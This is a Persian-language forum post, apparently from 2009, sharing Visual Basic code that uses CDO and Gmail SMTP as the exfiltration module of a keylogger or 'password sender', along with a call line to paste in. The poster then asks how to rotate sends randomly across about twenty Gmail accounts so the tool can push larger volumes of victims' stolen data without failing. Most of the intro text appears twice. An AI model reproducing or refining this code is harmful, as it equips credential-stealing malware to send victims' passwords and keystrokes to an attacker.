۲۴-دى-۱۳۸۷, ۱۳:۱۵:۰۶
سلام دوستان
همه شما میدونیدکه با استفاده کردن از کد زیر در پسورد سندر یا کیلاگر خود امیتونید طلاعات رو از طریق جمیل گوگل ارسال کنید
کد های بالا باید در یک مدل نوشته شوند
و کد زیر هم در قسمت اینترنت چکر:
اما اگر پسورد سندر یا کیلاگر شما باید حجم زیادی از اطلاعات رو بفرسته یعنی آپشن های زیادی داشته باشه ویا کاربرای زیادی از برنامه شما استفاده کنند برنامه به صورت خودکار از کار میوفته چون پهنای باند زیاد میشه و از یک جمیل نمیتونه این همه اطلاعات رو بفرسته
میخواستم ببینم راهی وجود داره که به جای اینکه برناممون از 1 آیدی (جمیل) اطلاعات رو بفرسته از تعداد جمیل بالا به صورت رندوم استفاده کنیم
یعنی مثلا برناممون از 20 تا جمیل به جای 1 جمیل اطلاعات رو بفرسته و به صورت رندم هر بار از 1 جمیل اطلاعات رو بفرسته که هم مشکل پهنای باند حل میشه و هم دیگه برنامه از کار نمیوفته.
همه شما میدونیدکه با استفاده کردن از کد زیر در پسورد سندر یا کیلاگر خود امیتونید طلاعات رو از طریق جمیل گوگل ارسال کنید
کد:
'start SendMail code
Public Function SendMail(strSender As String, strPassword As String, strSmtp As String, strReciever As String, strSubject As String, strAttach As String, strBody As String) As Boolean
Dim iMsg, iConf, Flds
Dim schema As String
If strSender <> "" Or strPassword <> "" Then
On Error GoTo Handler
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = strSmtp
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = strSender
Flds.Item(schema & "sendpassword") = strPassword
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
DoEvents
.To = strReciever
.From = strSender
.Subject = strSubject
.HTMLBody = strBody
.Sender = strSender
.Organization = "S.M.B Productions"
.ReplyTo = strSender
If strAttach <> "" Then
.AddAttachment (strAttach)
End If
Set .Configuration = iConf
.Send
End With
SendMail = True
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Exit Function
End If
Handler:
SendMail = False
End Function
'end SendMail codeکد های بالا باید در یک مدل نوشته شوند
و کد زیر هم در قسمت اینترنت چکر:
کد:
blnSendMail = SendMail("Your Gamil", "Your Password", "smtp.gmail.com", strEmail, "sayberiya ps", "", strBody)اما اگر پسورد سندر یا کیلاگر شما باید حجم زیادی از اطلاعات رو بفرسته یعنی آپشن های زیادی داشته باشه ویا کاربرای زیادی از برنامه شما استفاده کنند برنامه به صورت خودکار از کار میوفته چون پهنای باند زیاد میشه و از یک جمیل نمیتونه این همه اطلاعات رو بفرسته
میخواستم ببینم راهی وجود داره که به جای اینکه برناممون از 1 آیدی (جمیل) اطلاعات رو بفرسته از تعداد جمیل بالا به صورت رندوم استفاده کنیم
یعنی مثلا برناممون از 20 تا جمیل به جای 1 جمیل اطلاعات رو بفرسته و به صورت رندم هر بار از 1 جمیل اطلاعات رو بفرسته که هم مشکل پهنای باند حل میشه و هم دیگه برنامه از کار نمیوفته.